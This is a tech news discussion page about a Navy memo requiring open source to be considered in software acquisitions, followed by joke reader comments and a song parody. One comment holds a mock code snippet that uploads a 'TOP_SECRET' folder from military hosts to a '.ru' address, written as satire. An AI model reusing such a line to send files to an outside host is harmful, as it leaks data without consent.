Navy Now Mandated To Consider FOSS As an Option 205
lisah writes "In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions. According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'"
Inconceivable! (Score:5, Funny)
I am speechless.
Sing with me (Score:5, Funny)
Yes, you can sail the gcc's
In the navy
Yes, you can open source with ease
In the navy
Come on now, people, make && make install
In the navy, in the navy
Latest from Redmond (Score:1, Funny)
Finally! (Score:5, Funny)
Re:Sing with me (Score:5, Funny)
I was going to say that you've painted yourself mauve, or possibly chartreuse.
Actions, Not Words! (Score:4, Funny)
Talk about an arrangement of words that don't mean cr@p in the real world.
Navy: Yeah we thought about it. Considered it even. Then went back to what we've been doing all along. Only terrorists use FOSS. Microsoft told us so.
Nice chorus, but the orignial is well suited. (Score:3, Funny)
Finish your chorus with this and then fall back to the original lyrics [oldielyrics.com]:
They want GNU
They want GNU
They want you as a GNU recruit
The original Lyrics:
I'll stay away from the "signing up new seamen fast" part, but the learning and adventure part is probably more true in the free software world than it is on a boat and anything beats Bill Gates slave galleys. Pressing on with a few special mods for you WinDOS fanboys afraid of the plunge:
But, but, but
I'm afraid of Penguins
Hey, hey, look men
I get seasick
Even watching it on techTV
They Want GNU
Oh my goodness
They Want GNU
What am I gonna do in a GNU machine
They Want GNU
They Want GNU
In the Navy
In the Navy
Yes, you can apt-get with ease
In the Navy
Yes, that will put your mind at ease
In the Navy
There will be no blue screen disease
In the Navy
Can't you see we need a hand
In the Navy
Come on and share the source code
In the Navy
Come on and help your fellow man
In the Navy
Come on people and make a stand
In the Navy
Re:Finally! (Score:3, Funny)
Re:Is the tide turning? (Score:3, Funny)
"Man, this thing doesnt work"
"Uhhh, post a question on the fourm, and hope you hear back"
That is exactly why companies like IBM and RedHat exist.
Yeah but... (Score:4, Funny)
Re:Inconceivable! (Score:5, Funny)
if ($hostname =~ m/.*\.mil/) {
multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
explode() || die("The requested operation cannot be performed");
}
Re:Imagine Chinese say: GPL shows us your code NAV (Score:3, Funny)
Were you summarizing your comment?